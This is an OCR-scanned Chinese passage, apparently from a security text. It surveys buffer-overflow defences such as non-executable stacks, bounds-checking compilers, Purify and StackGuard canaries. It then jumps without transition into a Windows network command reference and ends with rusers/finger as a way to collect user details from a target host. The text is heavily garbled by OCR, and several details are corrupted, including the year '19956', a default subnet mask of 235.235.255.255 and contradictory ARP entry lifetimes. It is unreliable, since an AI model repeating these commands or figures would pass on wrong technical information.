子 , 虽 然 它 通过 了 代码 的 安全 检查 , 但 仍然 有 缓冲 区

SS

溢出 的 问题 存在 。 为 了 对 付 这 些 问 题 , 人 们 开发 了 一

些 高 级 的 查 错 工 具 , 如 faultinjection 等 。 这 些 工 具 的 目

的 在 于 通过 人 为 随机 地 产生 一 些 缓冲 区 溢出 来 寻找

代码 的 安全 漏洞 。 还 有 一 些 静 态 分 析 工 具 用 于 侦 测 组

冲 区 溢出 的 存在 。

虽然 这 些 工具 可 以 帮助 程序 员 开 发 更 安全 的 程

序 , 但 是 由 于 C 语言 的 特点 , 这 些 工具 不 可 能 找 出 所

有 的 缓冲 区 溢出 漏洞 。 所 以 , 侦 错 技术 只 能 用 来 减少

缓冲 区 溢出 的 可 能 , 并 不 能 完全 地 消除 它 的 存在 , 除

非 程序 员 能 保证 他 的 程序 万 无 一 失 。

二 非 执行 的 缓冲 区

通过 使 被 攻击 程序 的 数据 段 地 址 空间 不 可 执行 ,

从 而 使 得 攻击 者 不 可 能 执行 被 植 人 被 攻击 程序 输入

缓冲 区 的 代码 , 这 种 技术 被 称 为 非 执行 的 缓冲 区 技

术 。 事 实 上 ,很 多 老 的 Unix 系统 都 是 这 样 设计 的 。 但

是 近来 的 Unixz 和 MS Windows 系统 为 实现 更 好 的 性

能 和 功能 , 往 往 在 数据 段 中 动态 地 放 人 可 执行 的 代

码 。 所 以 为 了 保持 程序 的 兼容 性 不 可 能 使 得 所 有 程序

的 数据 段 不 可 执行 。 但 是 我 们 可 以 设 定 堆栈 数据 段 不

可 执行 , 这 样 就 可 以 最 大 限度 地 保证 了 程序 的 兼容

性 。Linux 和 Solaris 都 发 布 了 有 关 这 方面 的 内 核 补

丁 。 因 为 几乎 没有 任何 合法 的 程序 会 在 堆栈 中 存放 代

码 , 这 种 做 法 几乎 不 产生 任何 兼容 性 问题 , 除 了 在

Linux 中 的 两 个 特例 , 这 时 可 执行 的 代码 必须 被 放 人

堆栈 中 ,

1. 信和 号 传递

Linux 通过 向 进程 堆栈 释放 代码 , 然 后 引发 中 断

来 执行 在 堆栈 中 的 代码 进而 实现 向 进程 发 送 Unix 信

号 。 非 执行 缓冲 区 的 补丁 在 发 送信 号 的 时 候 是 允许 组

冲 区 可 执行 的 。

2. GCC 的 在 线 重 用

研究 发 现 gce 在 堆栈 区 里 放置 了 可 执行 的 代码

以 便 在 线 重 用 。 然 而 关闭 这 个 功能 并 不 产生 任何 问

题 , 只 有 部 分 功能 似乎 不 能 使 用 。 非 执行 堆栈 的 保护

可 以 有 效 地 对 付 把 代码 植 和 人 自动 变量 的 缓冲 区 溢出

攻击 , 而 对 于 其 他 形式 的 攻击 则 没有 效果 。 通 过 引用

一 个 驻 留 的 程序 的 指针 , 就 可 以 跳 过 这 种 保护 措施 。

其 他 的 攻击 可 以 采用 把 代码 植 人 堆 或 者 静态 数据 段

中 来 跳 过 保护 。

三 数组 边界 检查

植 和 人 代码 引起 缓冲 区 溢出 是 一 个 方面 , 扰乱 程序

的 执行 流程 是 另 一 个 方面 。 不 像 非 执行 缓冲 区 保护 ,

数组 边界 检查 完全 没有 了 缓冲 区 溢出 的 产生 和 攻

击 。 这 样 只 要 数组 不 能 被 溢出 , 溢出 攻击 也 就 无 从 谈

起 。 为 了 实现 数组 边界 检查 , 则 所 有 的 对 数组 的 读 写

操作 都 应 当 被 检查 , 以 确保 对 数组 的 操作 在 正确 的 范

围 内 。 最 直接 的 方法 是 检查 所 有 的 数组 操作 , 但 是 通

常 可 以 采用 一 些 优 化 的 技术 来 减少 检查 的 次 数 。 目 前

有 了 以 下 的 几 种 检查 方法 :

1 、Compaq C 编译 器

Compaq 公司 为 Alpha CPU 开发 的 C 编译 器 支持

有 限度 的 边界 检查 (使 用 - checkl bounds 参数 )。 这 些

限制 是 : 只 有 显示 的 数组 引用 才 被 检查 , 比如 “af[3]”

会 被 检查 ,而 “x (a+3) 则 不 会 。

由 于 所 有 的 C 数组 在 传送 的 时 候 是 指针 传递 的 ,

所 以 传递 给 函数 的 数组 不 会 被 检查 。 带 有 危险 性 的 库

函数 如 Strcpy 不 会 在 编译 的 时 候 进 行 边界 检查 , 即便

是 指定 了 边界 检查 。 在 C 语言 中 利用 指针 进行 数组 操

作 和 传递 是 非常 频繁 的 , 因此 这 种 局 限 性 是 非常 严重

的 。 通 常 这 种 边界 检查 用 来 程序 的 查 错 , 而 且 不 能 保

证 不 发 生 缓冲 区 溢出 的 漏洞 。

2 Jones& Kelly: C 的 数组 边界 检查

Richard Jones 和 Paul Kelly 开发 了 一 个 gcec 的 补

丁 , 用 来 实现 对 C 程序 完全 的 数组 边界 检查 。 由 于 没

有 改变 指针 的 含义 , 所 以 被 编译 的 程序 和 其 他 的 gce

模块 具有 很 好 的 兼容 性 。 更 进一步 的 是 , 他 们 由 此 从

没有 指针 的 表达 式 中 导出 了 一 个 “ 基 ? 指针 ,然后 通过

检查 这 个 基 指 针 来 侦 测 表达 式 的 结果 是 否 在 容许 的

范围 之 内 。 当 然 , 这 样 付出 的 性 能 上 的 代价 是 巨大 的 ;

对 于 一 个 频繁 使 用 指针 的 程序 , 如 向 量 乘法 , 将 由 于

指针 的 频繁 使 用 而 使 速度 慢 30 倍 。 这 个 编译 器 目前

还 很 不 成 熟 , 一 些 复 杂 的 程序 (如 elm) 还 不 能 在 这 个

上 面 编 泽 .执行 通过 。 然 而 在 它 的 一 个 更 新 版 本 之 下 ,

它 至 少 能 编译 执行 ssh 软件 的 加 密 软 件 包 , 但 其 实现

的 性 能 要 下 降 12 倍 。

3、Purify :存储 器 存 取 检 查

Purify 是 C 程序 调试 时 查看 存储 器 使 用 的 工具 而

不 是 专用 的 安全 工具 。Purify 使 用 “目标 代码 插入 " 技

术 来 检查 所 有 的 存储 器 存 取 。 通 过 用 Purify 连接 工具

连接 , 可 执行 代码 在 执行 的 时 候 带 来 的 性 能 上 的 损失

要 下 降 3-5 倍 。

4 类 型 一 一 安全 语言

所 有 的 缓冲 区 溢出 漏洞 都 源 于 C 语言 的 类 型 安

全 。 如 果 只 有 类 型 - 安全 的 操作 才 可 以 被 允许 执行 ,

这 样 就 不 可 能 出 现 对 变量 的 强制 操作 。 如 果 作为 新

手 , 可 以 推荐 使 用 具有 类 型 一 安全 的 语言 如 Java 和

ML。

但 是 作为 Java 执行 平台 的 Java 虚拟 机 是 C 程

序 , 因 此 攻击 TVM 的 一 条 途径 是 使 JVM 的 缓冲 区 溢

出 。 因 此 在 系统 中 采用 缓冲 区 溢出 防卫 技术 来 使 用 强

制 类 型 - 安全 的 语言 可 以 收 到 预想 不 到 的 效果 。

四 、 程 序 指针 完整 性 检查

程序 指针 完整 性 检查 和 边界 检查 有 略微 的 不

同 。 与 防止 程序 指针 被 改变 不 同 , 程序 指针 完整 性 检

查 在 程序 指针 被 引用 之 前 检测 到 它 的 改变 。 因 此 , 即

使 一 个 攻击 者 成 功 地 改变 了 程序 的 指针 , 由 于 系统 事

先 检 测 到 了 指针 的 改变 , 因 此 这 个 指针 将 不 会 被 使

用 。 与 数组 边界 检查 相 比 , 这 种 方法 不 能 解决 所 有 的

缓冲 区 溢出 问题 ; 采用 其 他 的 缓冲 区 溢出 方法 就 可 以

避免 这 种 检测 。 但 是 这 种 方法 在 性 能 上 有 很 大 的 优

势 , 而 且 兼 容 性 也 很 好 。

1 手写 的 堆栈 监测

Snarkii 为 FreeBSD 开发 了 一 套 定 制 的 能 通过 监

测 CPU 堆栈 来 确定 缓冲 区 溢出 的 libc。 这 个 应 用 完全

用 手工 汇编 写 的 , 而 且 是 保护 libe 中 的 当前 有 效 纪录

函数 。 这 个 应 用 达到 了 设计 要 求 , 对 于 基于 libe 库 函

数 的 攻击 具有 很 好 的 防卫 , 但 是 不 能 防卫 其 它 方式 的

攻击 。

2 堆栈 保护

堆栈 保护 是 一 种 提供 程序 指针 完整 性 检查 的 编

译 器 技术 ,通过 检查 函数 活动 纪录 中 的 返回 地 址 来 实

现 。 堆 栈 保护 作为 gee 的 一 个 小 的 补丁 ,在 每 个 函数

中 ,加 入 了 函数 建立 和 销毁 的 代码 。 加 入 的 函数 建立 代

码 实 际 上 在 堆栈 中 函数 返回 地 址 后 面 加 了 一 些 附加 的

字 贡 。 而 在 函数 返回 时 ,首先 检查 这 个 附加 的 字 节 是 否

被 改动 过 ,如 果 发 生 过 缓冲 区 溢出 的 攻击 ,那么 这 种 攻

击 很 容易 在 函数 返回 前 被 检测 到 。 但 是 ,如 果 攻 击 者 预

见 到 这 些 附 加 字 节 的 存在 ,并 且 能 在 滋 出 过 程 中 同样

地 制造 他 们 ,那么 它 就 能 成 功 地 跳 过 堆栈 保护 的 检测 。

通常 ,我 们 有 如 下 两 种 方案 对 付 这 种 欺骗 。

(终止 符号

利用 在 C 语言 中 的 终止 符号 如 0(nul) ,CR,LF,

-IEOF) 等 这 些 符号 不 能 在 常用 的 字符 串 函 数 中 使

用 , 因为 这 些 函 数 一 旦 遇 到 这 些 终止 符号 , 就 结束 函

数 过 程 了 。

《2) 随 机 符号

利用 一 个 在 函数 调用 时 产生 的 一 个 32 位 的 随机

数 来 实现 保密 , 使 得 攻击 者 不 可 能 猜测 到 附加 字 节 的

内 容 。 而 且 , 每 次 调用 附加 字 节 的 内 容 都 在 改变 ,也 无

法 预测 。 通 过 检查 堆栈 的 完整 性 的 堆栈 保护 法 是 从

Synthetix 方法 演变 来 的 。Symthetix 方法 通过 用 准 不 变

量 来 确保 特定 变量 的 正确 性 。 这 些 特定 的 变量 的 改变

是 程序 实现 能 预知 的 , 而 且 只 能 在 满足 一 定 的 条 件 才

能 可 以 改变 。 这 种 变量 我 们 称 为 准 不 变量 。 Synthetix

开发 了 一 些 工具 用 来 保护 这 些 变量 。 攻 击 者 通过 缓冲

区 溢出 而 产生 的 改变 可 以 被 系统 当做 非法 的 动作 。 在

某 些 极端 的 情况 下 , 这 些 准 不 变量 有 可 能 被 非法 改

变 , 这 时 需要 堆栈 保护 来 提供 更 完善 的 保护 了 。

实验 的 数据 表明 , 堆栈 保护 对 于 各 种 系统 的 缓冲

区 溢出 攻击 都 有 很 好 的 保护 作用 , 并 能 保持 较 好 的 兼

容 性 和 系统 性 能 。 分 析 表 明 , 堆栈 保护 能 有 效 抵 御 现

在 的 和 将 来 的 基于 堆栈 的 攻击 。 堆栈 保 护 版 本 的 Red

Hat Linux 5.1 已 经 在 各 种 系统 上 运行 了 多 年 ,包括 个

人 的 笔记 本 电脑 和 工作 组 文件 服务 器 。

3 指针 保护

在 堆栈 保护 设计 的 时 候 , 冲击 堆栈 构成 了 缓冲 区

溢出 攻击 的 常见 的 一 种 形式 。 有 人 推测 存在 一 种 模板

来 构成 这 些 攻击 (在 19956 年 的 时 候 )。 从 此 ,很 多 简单

的 漏洞 被 发 现 ,实施 和 补丁 后 , 很 多 攻击 者 开始 用 更

一 般 的 方法 实施 缓冲 区 溢出 攻击 。 指 针 保护 是 堆栈 保

护 针 对 这 种 情况 的 一 个 推广 。 通 过 在 所 有 的 代码 指针

之 后 放置 附加 字 节 来 检验 指针 在 被 调用 之 前 的 合法

性 ,如 果 检 验 失败 , 会 发 出 报警 信号 和 退出 程序 的 执

行 , 就 如 同 在 堆栈 保护 中 的 行为 一 样 。 这 种 方案 有 两

点 需要 注意 :

(1 附加 字 节 的 定位

附加 字 节 的 空间 是 在 被 保护 的 变量 被 分 配 的 时

候 分 配 的 , 同 时 在 被 保护 字 节 初始 化 过 程 中 被 初始

化 。 这 样 就 带 来 了 问题 : 为 了 保持 兼容 性 我 们 不 想 改

变 被 保护 变量 的 大 小 , 因此 我 们 不 能 简单 地 在 变量

结构 定义 中 加 入 附加 字 。 还 有 , 对 各 种 类 型 也 有 不 同

附加 字 节 数目 。

(2) 查 附加 宇 贡

每 次 程序 指针 被 引用 的 时 候 都 要 检查 附加 字 节

的 完整 性 。 这 个 也 存在 问题 , 因为 "从 存 取 器 读 ” 在 编

译 器 中 没有 语义 ,编译 器 更 关心 指针 的 使 用 , 而 各 种

优化 算法 倾向 于 从 存储 器 中 读 人 变量 .还 有 随 着 变量

类 型 的 不 同 , 读 人 的 方法 也 各 自 不 同 。 到 目前 为 止 只

”有 很 少 一 部 分 使 用 非 指针 变量 的 攻击 能 逃脱 指针 保

护 的 检测 。 但 是 , 可 以 通过 在 编译 器 上 强制 对 某 一 变

量 加 入 附加 字 节 来 实现 检测 , 这 时 需要 程序 员 自 己 手

工 加 入 相应 的 保护 了 。 多;

基础 部 分

显示 和 修改 “地 址 解析 协议 ”(ARP) 所 使 用 的 以

太 网 的 正 或 令 牌 环 物理 地 址 翻译 表 。 该 命令 只 有 在

安装 了 TCP/ 卫 协议 之 后 才 可 用 。

arp -a [inet addrl] [-N Fifaddr]]

amp -dinetaddr [ifaddr]

arp -sinet addr ether addr [过 addrj

参数 :

-a 通过 询问 TCP/ 了 瑟 显示 当前 ARP 项 。 如 果

指定 了 inet_addr, 则 只 显示 指定 计算 机 的 下 和 物理

地 址 。

-g 与 -a 相 同 。

以 加 点 的 十 进 制 标记 指定 卫 地 址 。

-N 显示 由 计 addr 指定 的 网 络 界 面 ARP 项 。

让 addr 指定 需要 修改 其 地 址 转换 表 接 口 的 下

地 址 (如果 有 的 话 )。 如 果 不 存 在 , 将 使 用 第 一 个 可 适

用 的 接口 。

-d 删除 由 inetaddr 指定 的 项 。

-s 在 ARP 缓存 中 添加 项 ,将 卫 地 址 inet addr

和 物理 地 址 ether addr 关联 。 物 理 地 址 由 以 连 字 符 分

隔 的 6 个 十 六 进 制 字 节 给 定 。 使 用 带 点 的 十 进 制 标记

指定 下 地 址 。 项 是 永久 性 的 , 即 在 超时 到 期 后 自动 从

缓存 删除 。

ether addr

inet addr

指定 物理 地 址 。

imger

在 运行 Finger 服务 的 指定 系统 上 显示 有 关 用 户

的 信息 , 根据 远程 系统 输出 不 同 的 变 量 , 该 命令 只 有

在 安装 了 TCP/ 了 协议 之 后 才 可 用 。

finger [| - 菩 [fuser]@ computer[...]

参数 ;

-1 以 长 列表 格式 显示 信息 。

User

指定 要 获得 相关 信息 的 用 户 。 省 略 用 户 参数 以 显

示 指 定 计算 机 上 所 有 用 户 的 信息 :

@ compnter

下 tp

将 文件 传送 到 正在 运行 的 Ftp 服务 的 远程 计算

机 或 从 正在 运行 Ftp 服务 的 远程 计算 机 传送 文件 (有

时 称 作 daemon)。Ftp 可 以 交互 使 用 。 单 击 “ 相 关 主 题 ”

列表 中 的 “Ftp 命令 ”以 获得 可 用 的 “Fitp” 子 命令 描

述 。 该 命令 只 有 在 安装 了 TCP7 了 了 协议 之 后 才 可 用 。

Rtp 是 一 种 服务 , 一 旦 启动 , 将 创建 在 其 中 可 以 使 用

Ftp 命令 的 子 环境 , 通过 键入 Quit 子 命令 可 以 从 子 环

境 返 回 到 indows 2000 命令 提示 符 。 当 Fip 子 环境 运

行 时 , 它 由 Fitp 命令 提示 符 代表 。

fp [-v][-al-i 训 [-dj[- 雪

name] 上 -al] [ -w: windowsize]

参数 :

-v 禁止 显示 远程 服务 器 响应 。

-na , 禁止 自动 登录 到 初始 连接 。

-i 多 个 文件 传送 时 关闭 交互 提示 。

-d 启用 调试 、 显 示 在 客户 端 和 服务 器 之 间 传

递 的 所 有 Fip 命令 。

-g 禁用 文件 名 组 , 它 允许 在 本 地 文件 和 路 径

名 中 使 用 通配符 字符 (* 和 ?) (请 参阅 联机 “命令 参

考 " 中 的 Glob 命令 )。

--s: filename

[ -s: file-

fcomputer]

指定 包含 Ftp 命令 的 文本 文件 ;

当 Ftp 启动 后 ,这 些 命令 将 自动 运行 。 该 参数 中 不 允

许 有 空格 ,使 用 该 开关 而 不 是 重 定向 (> )。

-a 在 捆绑 数据 连接 时 使 用 任何 本 地 接口 。

-w: windowsize “替代 默认 大 小 为 4096 的 传送

缓冲 区 。

computer “指定 要 连接 到 远程 计算 机 的 计算 机

名 或 下 地址。 如果 指定 ,计算 机 必须 是 行 的 最 后 一 个

人 参数。

TCP 套 接 字 解 释

CLOSED 没有 使 用 这 个 套 接 字

套 接 字 正 在 监听 入 境 连 接

套 接 字 正 在 试图 主动 建立 连接

远程 套 接 字 已 经 关闭 : 正在 等

竺 关闭 这 个 套 接 字

套 接 字 的 关闭 确认

套 接 字 关 闭

TIME -WAIT 这 个 套 接 字 已 经 关闭 , 正 在 等

待 远程 套 接 字 的 关闭 传送

Traceroute/ Tracert 命令

traceroute/tracert 命令 用 于 跟踪 数据 包 到 达 目 标

机 器 的 路 由 , 使 用 正 数据 包 的 time -to-live(TTL)

域 , 在 数据 包 到 达 远 程 主机 前 所 经 过 的 每 一 个 网 关 引

发 一 个 ICMP TIME_FRXCEEDED 响应 。

Nbtstat

该 诊断 命令 使 用 NBT(TCP/ 了 PP 上 的 NetBIOS) 显

示 协 议 统计 和 当前 TCP/ 了 亚 连接 。 该 命令 只 有 在 安装

了 TCP/ 了 协议 之 后 才 可 用 。

nbtstat [ - a remotename] [ -AIPaddressj [=-ec]

[-njfE-RI[L-[-ST-s] [interval]

参数

一 a remotename 使 用 远程 计算 机 的 名 称 列 出 其

名 称 表 。

-AIP address 使 用 远程 计算 机 的 下 地 址 并

列 出 名 称 表 。

-c 给 定 每 个 名 称 的 瑟 地 址 并 列 出 NetBIOS

名 称 缓存 的 内 容 。

-na , 列 出 本 地 NetBIOS 名 称 。“ 已 注册 "表明 该

名 称 已 被 广播 (Bnode) 或 者 WINS( 其 他 节点 类 型 ) 注

册 。

-有 清除 NetBIOS 名 称 缓存 中 的 所 有 名 称 后 ,

重新 装 人 Lmhosts 文件 。

-T 列 出 Windows 网 络 名 称 解 析 的 名 称 解析 统

计 。 在 配置 使 用 WINS 的 Windows 2000 计算 机 上 ,此

选项 返回 要 通过 广播 或 WINS 来 解析 和 注册 的 名 称

数 。

-S 显示 客户 端 和 服务 器 会 话 , 只 通过 邢 地

址 列 出 远程 计算 机 。

-s 显示 客户 端 和 服务 器 会 话 。 尝 试 将 远程 计

算 机 下 地 址 转换 成 使 用 主机 文件 的 名 称 。

Hntervyajl

重新 显示 选中 的 统计 , 在 每 个 显示 之 间 暂 停 In-

terval 秒 。 按 Ctrl + C 停止 重新 显示 统计 信息 。 如 果 省

略 该 参数 ,NBtstat 打印 一 次 当前 的 配置 信息 。

Netstat

显示 协议 统计 和 当前 的 TCP/ 卫 网 络 连接 。 该 命

令 只 有 在 安装 了 TCP/ 耳 协议 后 才 可 以 使 用 。

netstat [-al [-ej [-nl [=-s] 开 -PPprotocol]

[ -rzr] [intervaj]

参数 :

-a 显示 所 有 连接 和 侦 听 端口 。 服 务 器 连接 通

常 不 显示 。

-e 显示 以 太 网 统计 。 该 参数 可 以 与 -s 选项

结合 使 用 。

-na 以 数字 格式 显示 地 址 和 端口 号 〈 而 不 是 答

试 查找 名 称 )。

-s 显示 每 个 协议 的 统计 。 默 认 情 况 下 , 显示

TCP、UDP、ICMP. 和 了 正 的 统计 。-Pp 选项 可 以 用 来 指

定 默 认 的 子 集 。

-P protocol 显示 由 protocol 指定 的 协议 的 连

接 ;protocol 可 以 是 tcp 或 udp。 如 果 与 -s 选项 一 同

使 用 显示 每 个 协议 的 统计 ,protocol 可 以 是 trp、udp、

icmp 或 ip。

-r 显示 路 由 表 的 内 容 。

Jnterval

重新 显示 所 选 的 统计 , 在 每 次 显示 之 间 暂 停 in-

terval 秒 。 按 Ctrl +B 停止 重新 显示 统计 。 如 果 省 略 该

参数 ,NEtstat 将 打印 一 次 当前 的 配置 信息 。

Ping

验证 与 远程 计算 机 的 连接 。 该 命令 只 有 在 安装 了

TCP/ 了 下 协议 后 才 可 以 使 用 。

ping [-t[-al [=-ncount][-llengh]l [= 可

[ -ittl]

computer -~ list] | [ -kk computer -list]] [ -wtmeout]

[-vtos] 1-zrcount] [=-scountj [=-j

destination - list

参数 :

-~t Ping 指定 的 计算 机 直到 中 断 。

-a 将 地 址 解析 为 计算 机 名 。

-mn count 发 送 count 指定 的 ECHO 数据 和 包

数 。 默 认 值 为 4。

-llength 发 送 包 含 由 length 指定 的 数据 量 的

ECHO 数据 包 。 默 认为 32 字 节 ;最 大 值 是 65, 527。

-f 在 数据 包 中 发 送 “ 不 要 分 段 ?标志 。 数 据 包

就 不 会 被 路 由 上 的 网 关 分 段 。

-i 世 将 “生存 时 间 ” 字 段 设 置 为 世 指定 的

值 。

一 V tos

值 。

一 T Count

将 “服务 类 型 ”字段 设置 为 tos 指定 的

在 “记录 路 由 ”字段 中 记录 传 出 和 返

回 数据 包 的 路 由 。count 可 以 指定 最 少 1 台 ,最 多 9 台

计算 机 。

-scount 指定 count 指定 的 妈 点 数 的 时 间 戳 。

-j computer -list 利用 computer -list 指定 的

计算 机 列表 路 由 数据 包 。 连 续 计算 机 可 以 被 中 间 网 关

分 隔 (路 由 稀 朴 源 ) 耳 允许 的 最 大 数量 为 9。

-KK computer -~ jist 利用 computer -list 指定 的

计算 机 列表 路 由 数据 包 。 连 续 计 算 机 不 能 被 中 间 网 关

分 隔 (路 由 严格 源 ) 卫 允许 的 最 大 数量 为 9。

指定 超时 间隔 ,单位 为 毫秒 。

指定 要 Ping 的 远程 计算 机 。

一 W tmeout

destination - list

肛 cp

在 Windows 2000 计算 机 和 运行 远程 外 壳 端 口 监

挖 程序 rshd 的 系统 之 间 复 制 文件 。rcp 命令 是 一 个 连

接 命令 ,从 Windows 2000 计算 机 发 出 该 命令 时 ,也 可

以 用 于 其 他 传输 在 两 台 运 行 rshd 的 计算 机 之 间 复 制

文件 。rshd 端口 监控 程序 可 以 在 UNIX 计算 机 上 使

用 , 而 在 Windows 2000 上 不 能 使 用 , 所 以 Windows

2000 计算 机 仅 可 以 作为 发 出 命令 的 系统 参与 。 远 程

计算 机 必须 也 通过 运行 rshd 提供 rep 实用 程序 。

rcp [-al -bj T-Bh]j [=-rjsourcel source2…

soUrceN destination

参数 :

-a 指定 ASCII 传输 模式 。 些 模式 在 传 出 文件

上 将 回 车 /换行 符 转 换 为 回 车 符 , 在 传人 文件 中 将 换

行 符 转 换 为 回 车 / 换行 符 。 该 模式 为 默认 的 传输 模

式 。

-b 指定 二 进 制图 像 传输 模式 。 没 有 执行 回

车 /换行 符 转换 。

-h 传输 Windows 2000 计算 机 上 标记 为 隐藏

属性 的 源 文 件 。 如 果 没 有 该 选项 , 在 rcp 命令 行 上 指

定 隐藏 文件 的 效果 与 文件 不 存在 一 样 。

-r 将 源 的 所 有 子 目 录 内 容 递 归 复 制 到 目标 。

source 和 destination 都 必须 是 目录 , 虽 然 即 使 源 不 是

目录 ,使 用 -r 也 能 够 工作 ,但 将 没有 递归 。

Source 和 jestinatiom

格式 必须 为 fcomputer[. user]: ] filename。 如 果 忽

略 了 [computer[. user]: ] 部 分 , 计算 机 将 假定 为 本 地

计算 机 。 如 果 省 略 了 [. user] 部 分 ,将 使 用 当前 登录 的

Windows 2000 用 户 名 。 如 果 使 用 了 完全 合格 的 计算 机

名 ,其 中 包含 句点 〔. ) 分 隔 符 , 则 必须 包含 ,user]。

否则 , 计算 机 名 的 最 后 部 分 将 解释 为 用 户 名 。 如 果 指

定 了 多 个 源 文件 , 则 destination 必须 是 目录 。

如 果 文 件 名 不 是 以 UNIX 的 正 斜 本 (/) 或 Win-

dows 2000 系统 的 反 斜 枉 〈\) 打头 , 则 假定 相对 于 当

前 的 工作 目录 。 在 Windows 2000 中 ,这 是 发 出 命令 的

目录 。 在 远程 系统 中 ,这 是 远程 用 户 的 登录 目录 。 名

点 (. ) 表示 当前 的 目录 。 在 远程 路 径 中 使 用 转 义 字符

(\\ ”或 ), 以 便 在 远程 计算 机 中 使 用 通配符 。

取 exec

在 运行 REXEC 服务 的 远程 计算 机 上 运行 命令 。

rexec 命令 在 执行 指定 命令 前 , 验 证 远程 计算 机 上 的

用 户 名 , 只 有 安装 了 TCP7 了 协议 后 才 可 以 使 用 该 命

令 。

rexec computer [ - 1 username] [ -mn] command

参数 :

computer “指定 要 运行 command 的 远程 计算

-1 usermame 指定 远程 计算 机 上 的 用 户 名 。

-n 将 rexee 的 输入 重 定 向 到 NULL。

command ”指定 要 运行 的 命令 。

机 oulte

控制 网 络 路 由 表 。 该 命令 只 有 在 安装 了 TCP/ 卫

协议 后 才 可 以 使 用 。

route [ -人 [=-Pp] [command [destination] [mask

subnetmask] [gateway] [fmetric costmetric] ]

参数 :

-f 清除 所 有 网 关 人 口 的 路 由 表 。 如 果 该 参数

与 某 个 命令 组 合 使 用 ,路 由 表 将 在 运行 命令 前 清除 。

-P 该 参数 与 add 命令 一 起 使 用 时 , 将 使 路 由

在 系统 引导 程序 之 间 持 和 久 在 在。 默认 情况 下 ,系统 重

新 启动 时 不 保留 路 由 。 与 print 命令 一 起 使 用 时 ,显示

已 注册 的 持久 路 由 列表 。 忽 略 其 他 所 有 总 是 影响 相应

持久 路 由 的 命令 。

command ”指定 下 列 的 一 个 命令 :

命令 “目的

print ”打印 路 由

add ”添加 路 由

delete 删除 路 由

change 更 改 现存 路 由

指定 发 送 command 的 计算 机 。

mask subnetmask “指定 与 该 路 由 条 目 关 联 的 子

网 掩 码 。 如 果 没 有 指定 ,将 使 用 235. 235. 255. 255 。

指定 网 关 。

名 为 Networks 的 网 络 数据 库 文件 和 名 为 Hosts

的 计算 机 名 数据 库 文 件 中 均 引 用 全 部 destination 或

gateway 使 用 的 符号 名 称 。 如 果 命 令 是 print 或 delete,

目标 和 网 关 还 可 以 使 用 通配符 , 也 可 以 省 略 网 关 参

数 。

metrc costmetrlc

destinationm

gateway

指派 整数 怒 点 数 (从 1 到

9999) 在 计算 最 快速 、 最 可 靠 和 (或 ) 最 便宜 的 路 由 时

使 用 。

了 sh

在 运行 Rsh 服务 的 远程 计算 机 上 运行 命令 。 该 命

令 只 有 在 安装 了 TCP/IP 协议 后 才 可 以 使 用 。

rsh computer [ -1 username] [ -mn] command

参数 :

computer ”指定 运行 command 的 远程 计算 机 。

指定 远程 计算 机 上 使 用 的 用 户

名 。 如 果 省 略 , 则 使 用 登录 的 用 户 名 。

-n 将 rsh 的 输入 重 定向 到 NULL。

command ”指定 要 运行 的 命令 。

Ttp

将 文件 传输 到 正在 运行 Tttp 服务 的 远程 计算 机

或 从 正在 运行 Tttp 服务 的 远程 计算 机 传输 文件 。 该 命

令 只 有 在 安装 了 TCP/ 了 协议 后 才 可 以 使 用 。

ttp 工 -j fget 1 put]

fdestination ]

一 | username

ComPputer SOUICE

参数 , rw

-i 指定 二 进 制图 像 传送 模式 (也 称 为 “ 八 位 字

节 ”)。 在 二 进 制 图 像 模 式 中 , 文件 一 个 字 节 接 一 个 字

“ 节 地 逐 字 移 动 。 在 传送 二 进 制 文件 时 使 用 该 模式 。

如 果 省 略 了 - i, 文 件 将 以 ASCII 模式 传送 。 这 是

默认 的 传送 模式 .此 模式 将 EOL 字符 转换 为 UNIX 的

回 车 符 和 个 人 计算 机 的 回 车 符 / 换 行 符 。 在 传送 文本

文件 时 应 使 用 此 模式 。 如 果 文 件 传 送 成 功 , 将 显示 数

据 传输 率 。

computer “指定 本 地 或 远程 计算 机 。

put “将 本 地 计算 机 上 的 文件 destination 传送 到

远程 计算 机 上 的 文件 source。

get ”将 远程 计算 机 上 的 文件 destination 传送 到

本 地 计算 机 上 的 文件 source。

如 果 将 本 地 计算 机 上 的 文件 file - two 传送 到 远

程 计算 机 上 的 文件 fle - one, 请 指定 put; 如 果 将 远程

计算 机 上 的 文件 名 e - two 传送 到 远程 计算 机 上 的 文

件 file - one ,请 指定 get。

因为 Tftp 协议 不 支持 用 户 身 份 验证 ,所 以 用 户 必

须 登 录 ,并 且 文 件 在 远程 计算 机 上 必须 可 以 写 人 。

指定 要 传送 的 文件 。 如 果 本 地 文件 指定

为 -, 则 远程 文件 在 stdout 上 打印 出 来 (如果 获取 ),

或 从 stdin( 如 果 放 置 ) 读 取 。

指定 将 文件 传送 到 的 位 置 。 如 果 省

略 了 destination ,将 假定 与 source 同名 。

SOUTITCe

destination

下 Facert

该 诊断 实用 程序 将 包含 不 同 生存 时 间 (TITTL) 值

的 Intemet 控制 消息 协议 (ICMP) 回 显 数据 包 发 送 到

目标 , 以 决定 到 达 目 标 采 用 的 路 由 。 要 在 转发 数据 包

上 的 TTL 之 前 至 少 递减 1, 必 需 路 径 上 的 每 个 路 由

器 ,所 以 TTL 是 有 效 的 跃 点 计数 。 数 据 包 上 的 TIL 到

达 0 时 , 路 由 器 应 该 将 “ICMP 已 超时 ”的 消息 发 送 回

源 系统 。Tracert 先 发 送 TTL 为 1 的 回 显 数据 包 , 并 在

随后 的 每 次 发 送 过 程 将 TTL 递增 1, 直到 目标 响应 或

TTL 达到 最 大 值 , 从 而 确定 路 由 。 路 由 通过 检查 中 级

路 由 器 发 送 回 的 “ICMP 已 超时 ”的 消息 来 确定 路 由 。

不 过 , 有 些 路 由 器 悄悄 地 下 传 包含 过 期 TTL 值 的 数

据 包 ,而 Tracert 看 不 到 。

tracert [ -dd] [ -Ph maximum_ hops] [ -jcomput-

er 一 list] [ - wtimeout] target name 参数

《Zd 指定 不 将 地 址 解析 为 计算 机 名 。

指定 搜索 目标 的 最 大 妈 点

一 上 maximum_hops

数 。

指定 沿 computer - list 的 稀

一 j computer - list

朴 源 路 由 。

-Wtmeout 每 次 应 答 等 待 timeonut 指定 的 微 秒

数 。

target name

日 标 计算 机 的 名 称 。

rusers 和 人 nger

这 两 个 都 是 Unix 命令 。 通 过 这 两 个 命令 ,你 能 收

集 到 目标 计算 机 上 的 有 关 用 户 的 消息 。

使 用 musers 命令 ,产生 的 结果 如 下 所 示 :

gajake snark. wizard. com: ttypl1 Nov 13 15:

42 7: 30 (remote)

root snark. wizard. com: ttyp2 Nov 13 14: 57

7:21 (remote)

